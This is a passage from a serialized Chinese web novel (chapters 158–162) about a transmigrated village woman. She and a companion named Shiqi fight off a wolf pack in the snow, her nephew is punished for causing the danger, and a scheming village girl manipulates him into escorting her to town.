第一次,程云挥舞柴刀躲过孤狼的致命攻击,第二次,没那么好运,狼锋利的爪子在他胳膊上撕开一道口子,温热的雪落在雪地上,像是绽放的红梅。 鲜血给了狼刺激,它的瞳孔骤缩,隐隐带了丝兴奋,程云知道这次是真的完了。 孤狼一跃而起,獠牙大张,恨不得将人生吞活剥,他下意识环抱住身体防御。 意料中的疼痛没有来袭,只听一道厚重划破空气的声音响起,下一秒,“砰”的一声,身旁有重物倒地。 程云睁开眼,看到的是倒在身旁不远处的孤狼,一把眼熟的斧头死死定在狼腹部,陷得又深又紧,几乎要将狼砍个对穿。 他脑袋僵硬地朝斧子劈来的方向望去,那里占了一群人,为首的是十七叔,方才锋利的斧头就是他挥出来的。 再后是他的爹娘,满脸惊恐,尤其是他娘,脸色可以用煞白来形容。 “娘,爹。”程云缓缓张口,才发觉声音沙哑到不成样。 第一百五十八章 想跟我一起死? 没等他站起身,赵氏先一步从高处下来,程云好不容易扯出一抹劫后新生的微笑,下一秒,“啪”的一声响亮的巴掌音在林中响起。 “娘……”程云委屈地捂住脸颊。 赵氏眼眶里满是后怕的泪水:“小王八蛋,你……”骂着骂着眼泪决堤,一把将儿子搂进怀里,二人抱头痛哭。 程大壮又惊又怕,上前踹了儿子一脚,犹嫌不足,还想再打两下让臭小子长长记性。 身后的村民劝道:“孩子吓坏了,打两下得了。” 程三狗盯着不远处的狼皮,嬉皮笑脸道:“还没尝过狼肉是什么滋味,到时候煮肉,别忘了分兄弟一块,狼皮若有剩下的,也分我点,我还想缝双狼皮靴子呢。” 人群里有人嘲笑他:“就一头狼,顶多做两双,程家人还不够分,能轮到你?三狗,大白天怎么做起美梦来了?想要狼皮,自己猎啊!” 程三狗嘴硬起来:“我倒想猎一只,谁让只有一匹狼,要是再来几只,我定让它死在我柴刀之下!” 大伙儿清楚程三狗为人,没人将他吹牛的话放心里。 十七催促斜坡下的三人:“快上来,赶紧走,血腥味散开,容易招惹林中野兽。” 说话间,十七动作飞快走到躺倒在地没了气息的孤狼身边,将斧头拔出来之际,突然动作一顿。 十七感觉背脊僵直,这是危险来临的预兆,是属于沙场将士对敌人埋伏前的警示。 “有狼!” 人群中突然有人尖叫一声。 四只野狼从一处被大雪挡住的巨石后头冒出来,每一个眼冒绿光,体型比先前那只要更大,气势更足。 为首的那只,威风凛凛,显然是头狼。 看来刚才杀死的狼,只是探路的先锋军。 -- 程诺四人回到鹿山脚下时,只有小李等两三个村民在整理掉落的树枝,其他人已经上了山。 树枝不比树干,烧起来快,别看装了满满一箩筐,实际不够烧半个晚上。 “他们上去多久了?” 小李估摸着时间:“从你走后就上去了,应该有一个多时辰了。” 来之前,大伙儿达成一致,双手能掐住的小数不砍,留着长到明年,超过成年汉子双臂环绕的大树也不砍,一来费力,二来不好运回去,剩下满足条件的树干,砍倒一棵的速度用不了太久。 算起来一个时辰绰绰有余。 程诺怕出事,将几个妇人留在山下继续捡周边散落的树枝。 她带上程三狗等人上山:“走,去瞧瞧。” 小李在前头带路:“大壮哥他们就是从这条道上去的。” 山坡陡峭,半面背阴,脚下的滑雪板失去作用,反倒成了阻力。 连日来的寒冷天气,已将满山大雪冻结,程大壮一行人上山途中清理过两旁的碎石,以防中途有人坠下山坡划伤。 “将滑雪板收起来,穿上冰爪。”程诺声音刚落,随行的几人立刻将滑雪板收到背后的背篓中,再拿出“冰爪”。 所谓的冰刀,是程诺用硬木头和动物骨头消尖成短钉状,再用绳索固定在鞋底,制作出来的登山工具。 由于材料有限,没法跟前世专业登山设备相比,程诺叮嘱过大伙儿,使用的时候不能爬过于陡峭的山坡,以防材料断裂。 好在鹿山上的积雪并不坚硬,程诺等人爬起来不算吃力。 小李边走,边不忘捡拾路上的惨枝,此刻这些在他眼中全是宝,哪怕只能做一顿饭,也不能浪费啊。 “四姐姐,这些树枝太潮湿了,肯定点不着,又没有太阳晒,会不会蛀虫啊?” “不会。”程诺脚下稳稳跨步,走在最后头,说话间还拉了脚滑的村民一把,“我刚才离村时,村长已经组织人将带回去的树干砍成一小截一小截,这两天先烧容易点燃的树干部分,将树枝放在炕或者灶台周围烤,用不了多久潮气散了,就能点着了。” 没多久几人视线中出现成群树干,被积雪压弯的枝条,以及一半树身隐在大雪之间,像是在冬日里集体穿上簇新的白衣。 此处尚不到半山腰,脚下还算平缓,生长茂盛的树林,足够全村百姓用上一段日子。 程诺看到地上躺着十来根砍断的树干,却不见一个村民的踪影,心头掠过一丝不安。 “人呢?”小李发现地上散落的几个背篓,“这是大壮哥他们的篓子,怎么光见篓子,不见人呢?” 程诺压下心头的慌乱:“先四处找找,两两一对,别分开行动,遇事能有个照应。” “好。” 程诺和小李往树林南面方向走去,刚走没多久,撞上慌不择路跌跌撞撞朝他们方向跑来的程三狗。 程三狗像是吓坏了,不停往后张望,仿佛沉浸在恐惧中,一时竟没发现二人。 小里李跑上前,将人拦下:“三狗,怎么只有你一个,其他人呢?” 程三狗神情恍惚了一下,见到小李,惊慌的瞳孔终于缓过神来,抓住他的胳膊,另一只手颤巍巍伸向背后远处的树林。 “狼,有狼。” 程诺和小李脸色顿时大变。 程诺一把拽住他的衣领,嗓音冰凉:“我哥他们呢?” 程三狗见到满脸凝重的女子,喉管后怕地猛咽了口唾沫:“还、还在里面。” “哪个方向,带我去!” 程三狗听完,一个劲儿地摇头,仿佛程诺的话是让他去送死,他好不容易才逃出狼窝,怎么能再自投罗网呢? 他一下子挣脱开程诺的束缚:“我不去,要送死你们自己去!” 闻声赶来的几个村民,听到程三狗的话早吓得双腿打颤,此刻听到程诺要去寻人,纷纷吓得往后退,转身就往来的方向跑。 小李见状,怒斥道:“你们去哪?里头都是往日里抬头不见低头见的邻里,来之前说好的,互帮互助,现在他们有危险需要我们,怎么能往后缩呢?” 村民中一人边跑边喊:“里头是狼,光靠我们几个有什么用,我下山去喊人,人多力量大。” 山下只留几个妇人,村民的话显然是逃跑的推诿之词。 其他几个甚至连头都没回,跟着程三狗一起连滚带爬,跑没了影。 林中刚经历过一场恶战,在程大壮和十七合力对抗下,四只狼死了三只,两只是十七用斧头砍死的,一只是跟程大壮搏斗过程中硬生生摔死的。 其他能逃跑的村民,已经跑得差不多,因为慌不择路,有的往林间深处逃跑,有的往反方向跑,每个人拼尽全力求生。 程大壮喘着粗气,胳膊大腿都被野狼尖厉的爪子划伤,浑身是血,别说再战斗,就连正常站立都成问题。 十七情况比他好很多,身上滴血未沾,目光跟眼前仅剩的野狼死死对视,剩下的这只狼是狼群之首。 它很聪明,躲过好几次致命攻击。 知道眼前男人尚有余力,但是不远处的另一个人类,已经穷途末路。 野狼视线森森,在二人身上逡巡,十七一下子看出它的想法,笑喊道:“程大哥,这畜生聪明呢,你小心着点。” 程大壮闻言嗤笑一声:“让它来吧,看看是他死还是我活。” 话音刚落,野狼如一道疾驰的利剑,“蹭”的一下朝程大壮扑去,同类死得太多,它需要扯下敌人的脑袋,宣誓自身力量,达到震慑十七这只人类之首的作用。 程大壮说不害怕是不可能的,他无力自保了,好在儿子和媳妇被他推了出去。 只要他们安全,死亡于他好像也没那么恐怖。 程大壮缓缓闭上眼,以为要死在狼爪之下,十七蓄势待发,准备殊死搏斗之际,突然眼前快速闪过一道火光。 那是一根燃烧着的粗壮松枝,火焰在空气中“噼啪”作响。 空中转了几圈后,精准丢在野狼身上,皮毛瞬间被烧着,方才还一脸凶神恶煞的野狼,一下子“嗷”的一声受到惊吓,扑在雪地里打滚。 “小妹!”程大壮惊喜地看向来人。 程诺扫了眼程大壮的伤势,确定没有性命之危,快速捡起地上被雪湮灭的松枝,幸好她之前嫌弃家里照明的火把容易灭,特地在商城买过松脂油,还有部分储存在系统没用完,今天派上用场。 “小李,带我哥先走。” 小李动作快速扶起地上的程大壮,搀着胳肢窝往林外走。 程大壮失血过多,脑袋已经昏昏沉沉,凭着最后一丝清醒,想张口说话。 还没出声,先被小李拦下:“别说话了哥,你留着帮不了忙,四姐姐还得顾你安危。” 程大壮悻悻闭嘴,转身离开。 程诺望着不远处倒地的几匹野狼,其中三只腹部中刀,能有这个准头,除了不远处负手而立的男人,找不到第二个了。 现场没有一具村民尸体,想来应该没人丢了命,她松了口气。 程诺将筐里的斧头丢给男人:“只有一个,但愿你一击即中,不然我俩今天都得死在这儿。” 十七抬手一接:“要不你现在往回跑,没准还来得及。” 程诺失笑:“所有人都活着,只死你一个,这样英勇就义的好事,我能让给你?” 十七摩挲手里的斧头,眉眼一抬,笑声凉凉:“想跟我一起死?” 人命关天,生死当前,男人还有闲情逸致开玩笑,程诺原本紧张的心,突然跳得没那么厉害了。 周遭压抑低沉的气氛被冲淡几分。 野狼“嗷”了一嗓子,似是不满二人将它忽视。 程诺正色道:“别废话,等它招来更多同类,我们插翅难逃。” 十七手里的斧头挥得虎虎生风,野狼察觉得危险,四肢脚在周围不断变换动作,冲二人凶狠龇牙。 空气出现一瞬的凝滞,野狼率先发起进攻,长着锋利的尖爪朝手拿斧头的男人而去。 十七手中的武器,与此同时劈了出去。 就在程诺以为它的目标是男人时,野狼在斧子砍出去的瞬间,变换了动作,几乎是电光火石之间的速度,斧头擦着狼后腿而过,只堪堪劈下一层皮,而狼身距离程诺只剩一丈之遥。 那一瞬间,程诺脑海中陡然闪现过一些不属于她的片段。 树林、刀影、锋爪…… 几乎是狼爪挥舞到眼前的同一时间,程诺手中的松枝再次被点燃,早已含在口中的石蜡油,全部吐在火焰之上。 喷出的雾化燃料遇到火源顷刻燃烧,形成火焰效果,这次的火焰更猛烈,像是条吐着大火的火龙,将野狼整个吞噬。 “嗷嗷嗷……” 野狼狼狈地在雪地上蹭着,这回毛发被烧了个彻底,它满脸惊恐地望着眼前人,眼睛里写满了恐惧。 别说是再发出攻击,连靠近程诺都不敢。 程诺朝它走近,野狼像是看到天敌般,一下子往后退了数步,顾不上死去的同伴,转身往林里跑。 “别让它跑掉,狼记仇,会回来报复。” 程诺声音刚落,一道身影飞速捡起地上的斧头,利刃划破空气,接着是刀片没入皮肉的声音。 狼倒地,失去了生息。 “可惜了,上好的狼皮,被你烧成这副鬼样子。”十七惋惜地将死绝的野狼尾巴提起来,皮肤上还有火焰灼烧留下的温度,可想而知方才那匹狼遭受多大的酷刑。 程诺刚用积雪清理完口腔,依旧觉得嘴里一股蜡油味道,闻言瞪了他一眼:“要不是我动作快,脸上还得再来一道疤,指望你是没用了,还得靠我自己。” 十七将狼丢进程诺背后的箩筐,手掌拍在她后脑勺:“今天没有我,你侄子,你哥,你们村十几口人,都得丧命在狼口之下。” 程诺想回击,奈何男人长得高,她垫脚才到他下巴位置。 “不服气?”十七勾唇浅笑,模样带了股痞气,在风雪中却犹如青松翠柏,散发着凛然而又强大的气场。 他说得有理,程诺无力反驳。 一边捡拾另外几只死去的野狼,边用残雪覆盖血腥味,这才想起来问:“不是砍树吗?说好的只在外头一层,不进深山,为什么全跑山里来了?” 十七鼻子轻哼:“不是一家人不进一家人,都说侄子像家姑,外甥随舅舅,你侄子在男女之事上,跟你一样没脑子?” 骂得真厉害,一句话骂两个人。 “你才没脑子!”程诺龇牙咧嘴,浑身毛竖起来抵御外敌的小兽。 十七若有所思点点头:“啊~我说错了。” 程诺以为他要道歉,谁知下一秒,男人撑着下巴盯着她瞧:“我差点忘了,你是不是程四娘还两说,确实不能把她干过的蠢事,按在你头上。” “你……”程诺话噎在嘴边,最后只挤出几个字,“不知道你在说什么。” 背起篓子,往来时方向走去。 十七跟在身后,捡起地上掉落的松树枝,鼻尖轻嗅,闻到味道的瞬间,眉尾一抬。 “你出门还随身带着松脂油?” “怕走夜路,以防万一,不行吗?” 十七望着眼前,脸气成包子样的程诺,心情莫名愉悦,加上劫后余生的轻松,竟有心思开起玩笑。 “行,程姑娘的本事若是去镇上摆摊卖艺,没准赚得比卤肉还多。” “过奖过奖,彼此彼此吧,我也没见过哪个逃荒之人,能用斧头砍杀三只野狼,这么有本事,怎么不从军为国效力?” 二人你一言我一语,一路上针锋相对,寸步不让。 第一百五十九章 你有没有良心? 此时,鹿山脚下。 砍伐的树枝已经被程三狗为首的村民,提前带了回去。 程大壮伤势较重,小李和几个相处关系较好的汉子,合力将人抬走。 只剩程云和赵氏,以及溪妹,富贵和平安,还蹲守山脚下。 “他是为了给高婵儿采药进深山的!”赵氏哭成泪人,气得身体发抖,后槽牙咬得咯咯响,“我怎么生了你这么个讨债鬼。” 程云的脸上多了好几道明晃晃的巴掌印,全是方才赵氏扇的。 赵氏一脚踹在儿子膝盖上,要不是溪妹拦着,还得再来两脚。 程云扑通跪在地上。 “你小姑和十七叔,要是有三长两短,你也别活了,我没脸见你爷奶,今天我们娘儿俩就在山脚下跪死。” 程云满脸泪痕:“我错了,娘,我知道错了。” 他爬起来要往山上冲,被平安一把抱住:“你还嫌不够乱!十五岁,该长点脑子了,你去了能帮什么忙?” 程云神情恍惚,想到往日小姑对他的疼爱,想到十七叔在野狼攻击他时,挡在面前让他快跑,一幕幕汇聚在眼前。 他是一切的始作俑者,如果真的要有人丧命,他才是最该死的那一个。 程云抬手就是三巴掌。 “啪啪啪” 打得又急又狠,脸肿胀成馒头也毫无反应。 程诺下山看到的就是程云哭得涕泪横流的场面。 “没被野狼咬死,要把自己扇死是吗?” 程云泪眼模糊中听到熟悉的声音,猛地一抬头,看到站在不远处的程诺和十七,巨大的惊喜将愧疚淹没。 “小姑,十七叔……你们还活着,太好了,呜呜呜……” 赵氏又惊又喜,恨不得给程诺和十七跪下,“四娘,十七,没事吧,有没有受伤?” 她抬起程诺的胳膊,仔仔细细前后端详好几遍,确定二人没受伤,才彻底放下心。 “狼都死了?” 程诺掂了掂背篓里的狼:“死了,这回收获颇丰,可以给全家做一双狼皮靴子,还能额外再每人一副狼皮手套。” 赵氏见她语气轻松,半点不提过程多艰险,是在给她留脸,给程云留脸,怕他愧疚。 可天下没有不透风的墙。 程云脱离队伍采草药,导致滑雪小队遭遇狼群围剿的事,先一步在村里传开。 听到消息的程父,看到儿子受伤,女儿生死未卜,一个倒仰直接昏了过去。 好在醒过来时,程诺他们也回来了。 程父醒过来第一件事,问清来龙去脉,直接去厨房抽出最粗壮的木棍,照着往日疼爱的孙子后背狠狠来了三下。 老人家年纪虽大,力气却还是有的,打得程云嗷嗷直叫。 不少来探望程大壮伤势的村民,看到眼前一幕,心里再怨怼程云不懂事,嘴上却说不出埋怨的话,毕竟自家人全须全尾回来了,还带回来不少柴火,受伤的只有程家人。 “算了算了,别打了,一把年纪,身体要紧。” “赵氏,赶紧劝劝,好歹是亲孙子,打出毛病来怎么得了,瞧瞧,孩子嘴都白了。” 起止是白,程云脸又红又肿,狼狈不堪,任谁都能看出,回来之前已经被家里人狠狠收拾过了。 赵氏虽心疼,却没有半点阻拦的意思:“打!必须打!不打不长记性。” 程父的木棍再次落下,这回打的是屁股,才两下,程云感觉被打的地方已经麻了。 大伙儿见程父脸色不对,真的有把孙子往死里揍的架势,原先众人还觉得程家有些做戏给外人看的意思,此刻见程云的惨状,纷纷阻拦。 程云被众人抬到炕上,跟他爹并排躺着。 程大壮的伤口程诺用生理盐水清洗过,也上了药,只是狼爪锋利,撕扯的伤口面积很大,需要及时缝合。 好在如今天气严寒,伤口不会化脓,能再坚持一段时间。 “我想去云溪村把何大夫请过来。”程诺道。 赵氏点头:“是该去一趟,娘她们也不知道过得怎么样了。” —— 另一边的高家。 高娟儿刚从程家回来。 手里握着混乱中,程云交给她的紫苏草。 “啪”的一声,高娟儿推开房门,动静不小,吓了梳妆镜前涂脂抹粉的少女一跳。 女子见到来人,秀气的眉峰微微蹙起,“你也不小了,没有半点姑娘家的端庄。” 正是对外宣称染病,实则好好在屋里躲懒的高婵儿。 高娟儿气得鼻孔冒烟,一把将紫苏草砸在女子面前:“你就造孽吧。” 高婵儿将身上的药草扫落在地,一瞬间明白过来她刚才去哪了,笑得花枝乱颤:“那傻子真去山上找草药啦?” “你有没有良心?程云为了你的风寒,冒险采药遭遇狼群围捕,大壮叔现在还躺在床上,腿上的伤痕深可见骨,你不去看望两眼,还在这儿说风凉话?”高娟儿气得脑袋冒烟。 高婵儿倩悠悠站起身,走到妹妹跟前,似是听到笑话般,讥讽出声:“首先,我没有让程云替我采摘草药,他一意孤行想在我面前逞英雄、博好感,是他自己的决定,遇到狼群只能说他倒霉;其次,他老子是为了救儿子受的伤,怎么都算不到我头上,我又不是大夫,去看两眼是能减轻病人痛苦,还是能让他伤口愈合?” 高娟儿自小不比高婵儿牙尖嘴利,此时被怼得说不出话,一个人生闷气,却不知道自己为何这么生气。 “好了,何必为了外人伤了我们姐妹俩的和气,”高婵儿有事求高娟儿,不自觉软了语调,“明日瞧着是个好天气,我们去镇上?” 高娟儿一愣,这么快就要去洪家了? 高婵儿怕她不去,又道,“爷奶同意了,二叔二婶那儿我也打了招呼。” “就我们两?”高娟儿不想去。 高婵儿咬咬唇瓣,两个女子外出确实不太安全,高娟儿长得不好看,她却是个美人,万一路上遇到歹人,冰天雪地叫天天不应叫地地不灵…… 村里会滑雪的村民倒不少,愿意帮忙且嘴严实的人选却没几个,高婵儿挑来选去,最后还是觉得那人最合适。 高婵儿望了眼高娟儿,眼中有狡黠的光,幽幽道:“妹妹说的不错,程云为我涉险,我确实应该好好道声谢。” 高娟儿只觉面前少女幽冷的眸静静凝视着她,顿感头皮发麻。 她又想做什么? 第一百六十章 心上人的请求 是夜,月色寂静。 程云静悄悄下了床,走出院门,来到约定好的地点。 果真瞧见那儿站了个熟悉的俏丽身影,少女长发及腰,乌亮如缎,用一支绒花簪子挽了个发髻在头顶,是个清丽又清冷的少女。 “婵儿?” 少女转过身,白雪皑皑天地间,头顶是清冷的月光,越发衬托得她眉眼精致如月华,像是一朵盛开的百合花。 高婵儿从月光下走近,脸上是掩盖不住的担忧,喃喃道:“阿云,你的脸……” 程云这才想起来脸上的巴掌印,忙用衣袖遮挡,生怕滑稽的样子被眼前人不喜。 “我没事,小伤而已,一晚上就好了。” 高婵儿眼里的心疼快要溢出来,让少年白日死寂的心缓缓复苏,他问:“药吃了吗?风寒可好些了?” 少女点点轻笑,嗓音带上病后未愈的沙哑:“喝了,多亏你的药,不然我现在还在床上病得发高热。” 一听心上人真的病了,程云心疼不已,他就知道婵儿不会骗人的,谁会拿自己的身体作假。 “外头冷,你病还没好全,出来做什么?” 高婵儿摇摇头:“我担心你,听娟儿说,你们遭遇了狼群,回来后又被程爷爷打了,是我给你惹麻烦了,你不该管我的……” 少女越说越激动,最后剧烈咳嗽起来,咳得双颊泛红,一副病西施的可怜模样,身体摇摇欲坠,往一边歪去。 “不麻烦,不麻烦……”程云眼疾手快扶住佳人,一瞬间,什么狼群,什么棍棒巴掌,全忘了,满心满眼只有怀里病弱的美人。 “为你做什么我都是自愿的。”少年急不可耐表忠心。 却没瞧见少女眼底计谋得逞的笑意,高婵儿抓住他的手,问:“真的?真的什么都愿意?” 程云用力点头,再次道:“什么都愿意。” 高婵儿咬着唇角,容貌如三春露水桃花般清丽可人:“阿云,我明日想去镇上药铺抓药,你陪我一起去可好?” 程云忙道:“是不是我采摘的紫苏草药效不行?” 高婵儿眼珠子快速转动,扯谎道:“是我娘,她也病了,你知道的,冬天太冷了,她干活操劳,关节一冷就疼得睡不着,我想去镇上给她抓膏药敷着。” 程云一展笑颜:“那没事,我小姑明天打算去云溪村将何大夫请过来,到时候让他给你娘也看看。” 高婵儿一愣,没料到程家会去请何大夫,早知道她换个借口了。 “不行,我娘的风湿病何大夫之前治过,没治好,毕竟是乡野大夫,医术比不过镇上的老大夫,我还是得去一趟医馆抓药。” 程云见高婵儿坚持,顾不上后背没好的伤,一口应下。 “你家里人不会不同意吧?”高婵儿轻声询问,语气无辜,“赵婶子好像不太喜欢我。” 何止是不喜欢,赵氏如今一听到“高婵儿”三个字就炸毛。 若是直白告诉家里人,他要陪高婵儿去镇上,怕是还没走出家门,腿先被打断了。 “没事,我会让她们答应的,明日辰时,你去村口等我。” 得到满意答复,高婵儿美滋滋走了。 第二日清晨,程诺收拾好包裹,赵氏给她准备了馒头和清水。 程诺这回没带背篓,以防万一,还是携带柴刀傍身。 “明天能回来吗?”赵氏有些不放心,云溪村比去鹿山距离更远。 程诺摇头:“估计不行,得先教会何大夫滑雪,不然没法在雪上行走。” 说话间,十七拎着个包裹丢在桌上。 程父紧跟着走进厨房:“十七陪你一起去,你一个女子单独上路,万一遇到歹人,我不放心。” 程诺笑道:“爹,冰天雪地只会遇到死人,活人太少了。” 程父睨了她一眼:“说话没忌讳。” “行行行,”程诺冲十七扬扬下巴,“正好我想教二哥三哥他们滑雪,有人帮忙省些力气。” 程云在一旁听了许久,终于有机会插话:“小姑,我也可以教他们,带上我一起吧?” 程诺愕然:“你屁股上的伤好了?” 昨天不还疼得龇牙咧嘴下不来床。 “好了。”为了印证话里的真实性,程云原地又蹦又跳,忍着背脊的疼痛,扯出抹笑,“我年轻,底子好,恢复得快,再说了,爷爷手里有数,没真下狠手,看着严重罢了。” 程父鼻子一哼:“真用力,三棍子下去你小命没一半!” 不过是做给外人看的,打得越狠,村民心里的怨怼才越少。 与其被人背后戳脊梁骨,不如他亲自动手惩处孙子,让他涨涨教训。 程云心虚地挠后脑勺:“让我跟小姑一起去吧,好久没见奶奶和与君他们,我快想死了。” 家里的孙辈中,程母最疼的就是长房长孙,不同于二房与君小小年纪一派迂腐作风,程云活泼好动,灵敏嘴甜,最会讨老人家欢心。 程父昨晚还梦到老婆子,说她想孩子们了。 “爷爷,让我去吧,你就让我去吧。”程云撒起娇来。 “行,跟着一起去吧,路上记得听你小姑和十七叔的话,要是再敢出现昨日的事,一定打断你的腿!”程父耳提面命,终究心软,答应孙儿的请求。 “好哎!” 程云欢欢喜喜跑进屋,随便收拾点行囊。 程诺看他包袱憋憋,叮嘱道:“我们应该会在云溪村住上几日,多带些生活用品。” 程云不在意地挥挥手:“不用,我用不到。” 说完,意识到差点说漏嘴,慌忙找补,“我的意思是,与君跟我身形差不多,我直接穿他的就成,省下力气,可以帮小姑姑拎包裹。” 程诺将包裹丢进他怀里:“行,小姑姑先谢谢你了。” 三人准备好,立即出门。 今日是个不错的天气,万里无云。 出了村口,程诺和十七走在前列,程云跟在后头。 刚走出没一里地,程云忽然捂着肚子喊出声:“哎呦,我肚子疼,肚子好疼……” 程诺和十七停下,朝他走来。 “是不是喝凉的了?” “去旁边找块地方解决吧,记得带厕片,拉完了用雪清理下。” 程云“哎”了一声,捧着肚子小跑到一边,很快再次回来。 程诺关心道:“没事了?” 程云点点头:“应该没事了。” 三人继续往前行,结果刚走半里路,程云又喊着肚子不舒服。 如此再三,程云终于说出压在心里许久的话:“今天是去不了云溪村了,要不小姑姑,你们先去吧,我回家休息,下次有机会再去看奶奶和叔叔们。” 程诺见他面色痛苦,忙道:“我先送你回去。” 不成,回去不就露馅了。 程云忙拦道:“不用了!”语气急切到有些慌乱,惹得一旁抱胸而立的男人多看了两眼。 “我的意思是,回去的路我认得,小姑你跟十七叔继续往前走吧,别为我耽误时间,尽早请来何大夫,我爹的伤能早点好。” 程诺:“你一个人真的行?” 程云迫不及待举手:“行,我行的。” 程诺看了眼十七。 十七点点头:“他不是孩子了,要为说出的话,做出的事负责。” 程云压根没听出他的言外之意,还以为对方是答应他独自回头,忙应和道:“没错,我长大了,一个人可以的。” 最终,二人在程云目送中,逐渐走远不见踪影。 他精神抖擞像是换了个人,立马回头去找高婵儿。 第一百六十一章 她是天鹅,你是什么东西? 走到村口时,果真看见等候许久的高婵儿,出乎意外的,身旁还站着高娟儿。 高婵儿见到他,神色不喜:“怎么才来,我等了好久,冻死了。” 村口风大,她冻得身子都僵了,为了展露窈窕的身材,今天特地脱了里头臃肿的袄子,还要防止被村民发现,一直提心吊胆。 程云忙将手上狼皮做成的手套脱下来,递上前:“这是我娘给我准备的,给你戴,可暖和了。” 高婵儿摸着狼皮手套柔软的内里,心中的不满减少几分,随即生出一丝高傲,等过了今天,别说是狼皮,就是虎皮豹皮,她想要多少就有多少。 少女不但没有感恩之心,反而觉得她愿意给少年献殷勤的机会,是他的福分,以后就是想讨她的好,也未必有机会了。 高娟儿缩了缩同样冻得发麻的手掌,羡慕的眼神没有在狼皮手套上停留多久,踩着滑雪板道:“走吧,再晚赶不上太阳落山前回来。” 回来? 她可不想回来。 高婵儿设想过,没准今日进了洪府,她就可以直接在府里住下了。 程云被蒙在鼓里,一心以为二人真是去镇上买药。 一路上,三人走走停停,速度不快。 因为高娟儿没有接受过正规滑雪训练,不管是动作还是速度,都比不上程云和高婵儿。 程云见她落在后头,走路跟旱鸭子似的,一撇一撇,再看身旁的少女,每一步每个动作都是那样的优雅,笑道:“婵儿,你是我见过滑雪最好看的姑娘。” 高婵儿心里十分受用,嘴上却不饶人:“跟你小姑姑比呢,是我滑得好,还是她滑得好?” 高娟儿白眼翻上天。 倒反天罡,徒弟想超越师傅。 程云:“都好看。” 高婵儿显然对他的回答不满意,噘嘴道:“看来是我技术不到家。” 程云怕她难过,慌忙解释:“不是的,婵儿,你已经滑得很好了,你瞧高娟儿,比起你差远了,她走路像鸭子……” 话还没说完,他突然感觉昨天被揍过的后背挥过来一击痛拳,疼得他张牙舞爪,五官乱飞。 高娟儿不知何时突然出现在身后,一拳打过去犹嫌不足,挥舞雪杖就要往程云屁股上再来一棍。 “鸭子会打人吗?我像鸭子,她是天鹅,你是什么东西?” 程云堪堪躲过她的攻击:“开玩笑罢了,生什么气啊?” 高娟儿皮笑肉不笑:“我也是跟你开玩笑的,希望过了今天,你还能笑出来……” 程云满头雾水:“什么意思……” “娟儿!”高婵儿深怕高娟儿口不择言,搅乱她的计划,忙岔开话题,“娟儿刚学没几天,能滑成这样已经很好了。” 高娟儿昂起头:“满打满算,一天时间,我才学了一天,我记得你当时三天才会走路的吧?” 程云拍拍身上溅起的残雪,对高娟儿的话一字不信。 一天? 开什么玩笑? 高家最聪明的人就是婵儿,谁不知道高娟儿比起姐姐差远了,怎么可能用一天学会滑雪。 “是是是,你最厉害,一天算什么啊,只要你愿意,半天功夫,不,一个时辰就能学会了,对不对?”程云语调嘲讽。 高娟儿懒得跟他废话,慢慢在雪地里调整脚步,高婵儿教她的时候没什么耐心,很多地方全靠自己悟,到了后来,许是见她学得比她还快,竟再不指点半分,也不等她多训练几天就要去镇上。 心急是一方面,另一面恐怕是怕她学得比她好。 这不,有了她的对比,高婵儿滑雪姿势优美多了。 程诺这边,终于赶在晌午前到达云溪村村口。 行囊里的水壶喝了个干净,冷掉的包子一口未动,她还是喜欢吃热乎的。 走进云溪村地界,入眼是跟大梨村差不多的景象。 程诺惊喜地发现,云溪村的百姓也挖出了阡陌交通般的雪道,直通各家门前。 “看来不止咱们知道挖雪道的法子。”程诺从积雪上往下跳,差点脚滑,好在身后男人稳稳扶住她。 她忘了,这里不是大梨村,地上没有她隔三岔五撒上的融雪剂,脚下的雪压实形成了冰块,走路要当心,随时可能摔倒。 “好安静。”十七声音沉沉。 程诺也感受到,按理说云溪村的人口密集度比大梨村高多了,此时又是正午,不应该如此安静。 村口的第一户人家,是孙婶子家。 孙婶子是快人快语的性子,当初号召村民接种痘疹,她是第一个响应的。 程诺走到院门前,敲敲门,许久里头传出声音:“谁啊?” “婶子,是我,四娘。”程诺道。 屋里人有一瞬的愣怔,“四娘?哪个四娘?” 孙婶子摸索着下床,不忘给儿子狗蛋掖一掖被角,搓着长满冻疮的手,开了门。 门口站着一男一女,脸上都用布裹得严严实实,只留出一双漆黑眼珠子,不像是村里人,她起了戒备心,只留出一道缝隙。 就见其中的女子扯下挡住脸的布巾,露出一张熟悉的面容。 看到眼前人的刹那,孙婶子恍惚半晌,接着眼睛像是黑夜里蹿起一串火苗,一下子有了精神:“四娘!程四娘!你……外头的雪化了?” “没有没有,我是来看我娘她们的。”程诺见孙婶子比月余前瘦了不少,想来家里粮食捉襟见肘,过得不容易。 孙婶子燃起的火焰熄灭大半,积雪没化啊,她震惊地望向面前女子:“那你们怎么过来的?” 程诺指了指怀里的滑雪板,笑道:“靠它。” “这是个啥?”孙婶子盯着瞧半天,没看出个所以然,“有了这玩意儿,就能在雪上行走了?” 程诺点点头。 孙婶子半信半疑,这才想起来外头冷,没把人请进去做客:“瞧我这脑子,被风雪冻住了,快进来坐。” “我就不进去了,还得去看我娘她们,她们还好吧?” 孙婶子忙点头:“你家挺好的,我隔三差五会去跟你娘说说话,你娘是个实诚人,帮了我家不少。” 程诺闻言,从怀里掏出个布袋子,递到孙婶子手上,“这个给狗蛋。” 布袋子掀开半个角,露出里头比雪还白的馒头。 孙婶子嘴唇颤抖。 馒头,白馒头。 她家有多久没吃米面了,她都快忘了馒头是什么味道了。 孙婶子眼泪攒满眼眶,布袋子紧紧抱在怀里:“四娘,婶子谢谢你,就当我借的。” 此刻说不要显得矫情,但米面太精贵,她不是不知好歹的人,白拿别人东西的事干不出来。 程诺笑道:“行。” 说完,她转身准备离开,却被孙婶子拉住,“四娘你等等,我跟你一起去。” 程诺一愣,想着对方应该有话要交代,便在外头等了片刻,期间,屋内传出孙婶子丈夫惊讶的声音,还有儿子狗蛋的欢呼声。 想来是馒头造成的。 第一百六十二章 云溪村惨状 孙婶子很快出来,擦了擦嘴角,不好意思道:“让你看笑话了。” 程诺摇摇头,穿衣吃饭人之常情,她要是一段时间吃不到米面做成的主食,吃饭的样子比她还狰狞呢。 孙婶子先看了眼程诺身边,一直默不作声的高个子男人,好奇道:“这是你大哥吗?听你娘说,你还有个大哥哥没来。” “不是,他是我家远亲,婶子喊他十七就成。” 十七脱下维帽,露出完整脸庞,冲妇人点点头:“婶子好。” 孙婶子一下子看呆了,这这这……这是什么美男子,眉毛是眉毛,眼睛是眼睛,薄唇抿成一线,冷白的面庞透着棱角分明的清俊。 一时间竟忘了要交代程诺的话。 “婶子~婶子~” 